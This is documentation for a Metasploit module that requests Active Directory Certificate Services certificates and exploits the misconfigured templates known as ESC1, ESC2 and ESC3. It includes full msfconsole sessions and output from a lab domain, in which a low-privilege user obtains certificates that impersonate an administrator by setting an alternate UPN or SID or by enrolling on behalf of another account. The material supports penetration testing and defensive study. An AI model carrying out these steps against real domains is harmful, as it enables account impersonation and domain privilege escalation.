## Vulnerable Application
Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
template's configuration the resulting certificate can be used for various operations such as authentication.
PFX certificate files that are saved are encrypted with a blank password.

This module is capable of exploiting ESC1, ESC2, ESC3, ESC13 and ESC15.

## Module usage

1. From msfconsole
2. Do: `use auxiliary/admin/dcerpc/icpr_cert`
3. Set the `CA`, `RHOSTS`, `SMBUser` and `SMBPass` options
4. Run the module and see that a new certificate was issued or submitted

## Options

### CA
The target certificate authority. The default value used by AD CS is `$domain-DC-CA`.

### CERT_TEMPLATE
The certificate template to issue, e.g. "User".

### ADD_CERT_APP_POLICY
Add certificate application policy OIDs to the certificate. The ability to add policy OIDs to the certificate is
dependent on it's configuration. More than one OID can be specified, separated by spaces, `;`, or `,`.

Some useful OIDs for this purpose include:

* `1.3.6.1.4.1.311.20.2.2` -- Smart Card Logon
* `1.3.6.1.5.2.3.4` -- PKINIT Client Authentication
* `1.3.6.1.5.5.7.3.1` -- Server Authentication
* `1.3.6.1.5.5.7.3.2` -- Client Authentication
* `1.3.6.1.5.5.7.3.3` -- Code Signing
* `1.3.6.1.4.1.311.20.2.1` -- Certificate Request Agent

### ALT_DNS
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.

### ALT_SID
Alternative object SID to specify in the NTDS_CA_SECURITY_EXT extension. This is useful when exploiting ESC1 on a target
where the [KB5014754][KB5014754] patch has been applied.

See the following resources for more information.

* https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
* https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d

### ALT_UPN
Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the
format `$username@$dnsDomainName`.

### PFX
Certificate to request on behalf of. This is a PKCS12 file (using the .pfx extension), such as a one generated by
previously running this module.

### ON_BEHALF_OF
Username to request on behalf of. This is in the format `$domain\\$username`.

### DigestAlgorithm
*This is an advanced option.*

The digest algorithm to use for cryptographic signing operations.

When set to `true`, the module will use strong URL to SID mapping when requesting a certificate that contains a URL SAN.
This is done by adding the `tag:microsoft.com,2022-09-14:sid:` part to the SAN which is formatted like so:
`URL=tag:microsoft.com,2022-09-14:sid:<value>`. This option was introduced to maintain compatibility with older windows
versions as this is not compatible with versions prior to Windows Server Preview Build 25246.
[More info](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)

## Actions

### REQUEST_CERT
Request a certificate. The certificate PFX file will be stored on success. The certificate file's password is blank.

## Scenarios

### Obtaining Configuration Values
For this module to work, it's necessary to know the name of a CA and certificate template. These values can be obtained
by a normal user via LDAP.

```msf
msf > use auxiliary/gather/ldap_query
msf auxiliary(gather/ldap_query) > set BIND_DN aliddle@msflab.local
BIND_DN => aliddle@msflab.local
msf auxiliary(gather/ldap_query) > set BIND_PW Password1!
BIND_PW => Password1!
msf auxiliary(gather/ldap_query) > set ACTION ENUM_AD_CS_CAS
ACTION => ENUM_AD_CS_CAS
msf auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
CN=msflab-DC-CA CN=Enrollment Services CN=Public Key Services CN=Services CN=Configuration DC=msflab DC=local
=============================================================================================================

 Name                  Attributes
 ----                  ----------
 cacertificatedn       CN=msflab-DC-CA, DC=msflab, DC=local
 certificatetemplates  ESC1-Test || Workstation || ClientAuth || DirectoryEmailReplication || DomainControllerAuthentication || KerberosAuthentication || EFSRecovery || EFS || DomainController || WebServer || Machine || User || SubCA |
                       | Administrator
 cn                    msflab-DC-CA
 dnshostname           DC.msflab.local
 name                  msflab-DC-CA

[*] Auxiliary module execution completed
msf auxiliary(gather/ldap_query) >
```

### Issue A Generic Certificate
In this scenario, an authenticated user issues a certificate for themselves using the `User` template which is available
by default. The user must know the CA name, which in this case is `msflab-DC-CA`.

```msf
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
SMBUser => aliddle
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
SMBPass => Password1!
msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: aliddle@msflab.local
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125053_default_unknown_windows.ad.cs_545696.pfx
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/icpr_cert) >
```

### Issue A Certificate With A Specific subjectAltName (AKA ESC1)
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different
User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a
different UPN effectively issues a certificate that can be used to authenticate as another user. If the target server
has the [KB5014754][KB5014754] patch applied and the REG_DWORD
`HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement` value is set to 2, then the SID for the
account with the specified UPN should be supplied as well. In November of 2023, Microsoft will change the default value
of `StrongCertificateBindingEnforcement` to 2. If the server has the patch applied, the SID will be returned in the
issued certificate which ensures that the required strong mapping is in place. If the strong mapping is required and the
SID is not specified in the certificate, then Kerberos authentication will fail with `KDC_ERR_CERTIFICATE_MISMATCH`.

The user must know:

* A vulnerable certificate template, in this case `ESC1-Test`.
* The SID of a target account, in this case `S-1-5-21-3402587289-1488798532-3618296993-1000`
* The UPN of a target account, in this case `smcintyre@msflab.local`.

See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more
information.

```msf
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
SMBUser => aliddle
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
SMBPass => Password1!
msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
CERT_TEMPLATE => ESC1-Test
msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
ALT_UPN => smcintyre@msflab.local
msf auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true
VERBOSE => true
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate for user aliddle - alternate UPN: smcintyre@msflab.local - digest algorithm: SHA256 - template: ESC1-Test
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/icpr_cert) > 
```

### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2)
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate from a template
that either contains the **Any Purpose** EKU or no EKUs at all.

The user must know:

* A vulnerable certificate template, in this case `ESC2-Test`.
* A target account, in this case `MSFLAB\smcintyre`.

See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC2 for more
information.

#### Step 1
The first step is to issue a certificate using the vulnerable certificate template.

```msf
msf > use auxiliary/admin/dcerpc/icpr_cert 
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
SMBUser => aliddle
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
SMBPass => Password1!
msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Test
CERT_TEMPLATE => ESC2-Test
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/icpr_cert) >
```

#### Step 2
The second step is to run the module a second time, using the certificate template to request a certificate on behalf of
the target user. The `CERT_TEMPLATE` option is updated to one allowing authentication such as the default `User`
template.

```msf
msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx
PFX => /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx
msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre
ON_BEHALF_OF => MSFLAB\smcintyre
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Building certificate request on behalf of MSFLAB\smcintyre
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107153713_default_unknown_windows.ad.cs_275853.pfx
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/icpr_cert) >
```

### Issue A Certificate With The *Certificate Request Agent* EKU (AKA ESC3)
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate from a template
that either contains the **Certificate Request Agent** EKU.

The user must know:

* A vulnerable certificate template, in this case `ESC3-Test`.
* A target account, in this case `MSFLAB\smcintyre`.

The steps are identical to ESC2. First a certificate is requested using the vulnerable template. Then it is used to
request another certificate on behalf of the target account.

#### Step 1
The first step is to issue a certificate using the vulnerable certificate template.

```msf
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
SMBUser => aliddle
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
SMBPass => Password1!
msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Test
CERT_TEMPLATE => ESC3-Test
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: aliddle@msflab.local
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/icpr_cert) >
```

#### Step 2
The second step is to run the module a second time, using the certificate template to request a certificate on behalf of
the target user. The `CERT_TEMPLATE` option is updated to one allowing authentication such as the default `User`
template.

```msf
msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx
PFX => /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx
msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre
ON_BEHALF_OF => MSFLAB\smcintyre
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Building certificate request on behalf of MSFLAB\smcintyre
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107154740_default_unknown_windows.ad.cs_567059.pfx
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/icpr_cert) >
```

[KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
